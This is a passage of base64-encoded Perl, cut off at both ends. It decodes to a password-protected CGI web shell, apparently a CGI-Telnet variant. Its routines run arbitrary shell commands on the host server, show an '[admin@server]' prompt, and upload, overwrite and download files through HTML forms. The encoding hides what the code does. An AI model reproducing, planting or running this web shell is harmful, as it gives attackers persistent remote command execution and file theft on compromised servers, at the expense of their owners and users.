0tJRSd9KTsNCglmb3JlYWNoICRjb29raWUoQGh0dHBjb29raWVzKQ0KCXsNCgkJKCRpZCwgJHZhbCkgPSBzcGxpdCgvPS8sICRjb29raWUpOw0KCQkkQ29va2llc3skaWR9ID0gJHZhbDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ291dFNjcmVlbg0Kew0KCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQZXJmb3JtTG9nb3V0DQp7DQoJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPTtcbiI7ICMgcmVtb3ZlIHBhc3N3b3JkIGNvb2tpZQ0KCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkmUHJpbnRMb2dvdXRTY3JlZW47DQoNCgkmUHJpbnRMb2dpblNjcmVlbjsNCgkmUHJpbnRMb2dpbkZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCglleGl0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dvcmQgbWF0Y2hlcywgaXQNCiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QNCiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyDQojIHRvIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ2luIA0Kew0KCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkDQoJew0KCQlwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyOw0KCQlwcmludCAmTGlzdERpcjsNCgl9DQoJZWxzZSAjIHBhc3N3b3JkIGRpZG4ndCBtYXRjaA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigicCIpOw0KCQkmUHJpbnRMb2dpblNjcmVlbjsNCgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZA0KCQl7DQoJCQkmUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2U7DQoNCgkJfQ0KCQkmUHJpbnRMb2dpbkZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCWV4aXQ7DQoJfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7DQoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIjxmb250IGNvbG9yPScjRkZGRkZGJz5bYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQ8L2ZvbnQ+ICI7DQoJcmV0dXJuIDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiIgb25TdWJtaXQ9IkVuY29kZXIoJ2MnKSI+DQoNCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJjb21tYW5kIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4NCiRQcm9tcHQNCjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI0MCIgbmFtZT0iYyIgaWQ9ImMiPg0KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBkb3dubG9hZCBmaWxlcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQ0Kew0KCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsNCglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IA0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkICI7DQoJcmV0dXJuIDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4NCiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpEb3dubG9hZDogPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCg0KPC9mb3JtPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQ0Kew0KCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsNCglteSAkZGlyPSAmQWRkTGlua0RpcigidXBsb2FkIik7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsNCglyZXR1cm4gPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCiRQcm9tcHQgdXBsb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPg0KT3B0aW9uczogJm5ic3A7PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJvIiBpZD0idXAiIHZhbHVlPSJvdmVyd3JpdGUiPg0KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+DQpVcGxvYWQ6Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciI+DQo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4NCjwvZm9ybT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHRpbWVvdXQgZm9yIGEgY29tbWFuZCBleHBpcmVzLiBXZSBuZWVkIHRvDQojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMNCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIENvbW1hbmRUaW1lb3V0DQp7DQoJaWYoISRXaW5OVCkNCgl7DQoJCWFsYXJtKDApOw0KCQlyZXR1cm4gPDxFTkQ7DQo8L3RleHRhcmVhPg0KPGJyPjxmb250IGNvbG9yPXllbGxvdz4NCkNvbW1hbmQgZXhjZWVkZWQgbWF4aW11bSB0aW1lIG9mICRDb21tYW5kVGltZW91dER1cmF0aW9uIHNlY29uZChzKS48L2ZvbnQ+DQo8YnI+PGZvbnQgc2l6ZT0nNicgY29sb3I9cmVkPktpbGxlZCBpdCE8L2ZvbnQ+DQpFTkQNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gZGlzcGxheXMgdGhlIHBhZ2UgdGhhdCBjb250YWlucyBhIGxpbmsgd2hpY2ggYWxsb3dzIHRoZSB1c2VyDQojIHRvIGRvd25sb2FkIHRoZSBzcGVjaWZpZWQgZmlsZS4gVGhlIHBhZ2UgYWxzbyBjb250YWlucyBhIGF1dG8tcmVmcmVzaA0KIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5Lg0KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgZmlsZW5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQ0Kew0KCWxvY2FsKCRGaWxlVXJsKSA9IEBfOw0KCW15ICRyZXN1bHQ9IiI7DQoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzDQoJew0KCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyDQoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCgkJJERvd25sb2FkTGluayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOw0KCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCSRyZXN1bHQgLj0gPDxFTkQ7DQpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4NCg0KSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksDQo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPg0KRU5EDQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJfQ0KCWVsc2UgIyBmaWxlIGRvZXNuJ3QgZXhpc3QNCgl7DQoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCEiOw0KCQkkcmVzdWx0IC49ICZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIHJlYWRzIHRoZSBzcGVjaWZpZWQgZmlsZSBmcm9tIHRoZSBkaXNrIGFuZCBzZW5kcyBpdCB0byB0aGUNCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIHNlbnQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXINCnsNCglteSAkcmVzdWx0ID0gIiI7DQoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOw0KCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcNCgl7DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJYmlubW9kZShTRU5ERklMRSk7DQoJCQliaW5tb2RlKFNURE9VVCk7DQoJCX0NCgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlbN107DQoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsNCgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOw0KCQlwcmludCAiQ29udGVudC1MZW5ndGg6ICRGaWxlU2l6ZVxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7DQoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOw0KCQljbG9zZShTRU5ERklMRSk7DQoJCWV4aXQoMSk7DQoJfQ0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlDQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkISI7DQoJCSRyZXN1bHQgLj0mUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciBkb3dubG9hZHMgYSBmaWxlLiBJdCBkaXNwbGF5cyBhIG1lc3NhZ2UNCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLg0KIyBUaGlzIGZ1bmN0aW9uIGlzIGFsc28gY2FsbGVkIHdoZW4gdGhlIHVzZXIgY2xpY2tzIG9uIHRoYXQgbGluay4gSW4gdGhpcyBjYXNlLA0KIyB0aGUgZmlsZSBpcyByZWFkIGFuZCBzZW50IHRvIHRoZSBicm93c2VyLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJlZ2luRG93bmxvYWQNCnsNCgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7DQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfA0KCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUNCiMgZmlsZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBzdGFydHMgdGhlIHVwbG9hZCBwcm9jZXNzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFVwbG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4NCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KCXsNCgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOw0KDQoJfQ0KCW15ICRyZXN1bHQ9IiI7DQoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MNCgkkcmVzdWx0IC49ICJVcGxvYWRpbmcgJFRyYW5zZmVyRmlsZSB0byAkQ3VycmVudERpci4uLjxicj4iOw0KDQoJIyBnZXQgdGhlIGZ1bGxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgY3JlYXRlZA0KCWNob3AoJFRhcmdldE5hbWUpIGlmICgkVGFyZ2V0TmFtZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7DQoJJFRhcmdldE5hbWUgLj0gJFBhdGhTZXAuJDE7DQoNCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsNCgkjIGlmIHRoZSBmaWxlIGV4aXN0cyBhbmQgd2UgYXJlIG5vdCBzdXBwb3NlZCB0byBvdmVyd3JpdGUgaXQNCglpZigtZSAkVGFyZ2V0TmFtZSAmJiAkT3B0aW9ucyBuZSAib3ZlcndyaXRlIikNCgl7DQoJCSRyZXN1bHQgLj0gIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsNCgl9DQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQNCgl7DQoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQ0KCQl7DQoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsNCgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9Ow0KCQkJY2xvc2UoVVBMT0FERklMRSk7DQoJCQkkcmVzdWx0IC49ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRlcy48YnI+IjsNCgkJCSRyZXN1bHQgLj0gIkZpbGUgUGF0aDogJFRhcmdldE5hbWU8YnI+IjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsNCgkJfQ0KCX0NCgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGENCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IGRpc3BsYXlzIGEgbWVzc2FnZSB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rDQojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIERvd25sb2FkRmlsZQ0Kew0KCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJcmV0dXJuICZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJfQ0KCQ0KCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlDQoJew0KCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQoJfQ0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQoJew0KCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCX0NCg0KCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlDQoJew0KCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCXJldHVybiAmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlDQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5DQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4NCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQ0KIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2Vycw0KIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBFeGVjdXRlQ29tbWFuZA0Kew0KCSRDdXJyZW50RGlyID0gJlRyaW1TbGFzaGVzKCRDdXJyZW50RGlyKTsNCglteSAkcmVzdWx0PSIiOw0KCWlmKCRSdW5Db21tYW5kID1+IG0vXlxzKmNkXHMrKC4rKS8pICMgaXQgaXMgYSBjaGFuZ2UgZGlyIGNvbW1hbmQNCgl7DQoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUNCgkJIyBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQuDQoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsNCgkJY2hvbXA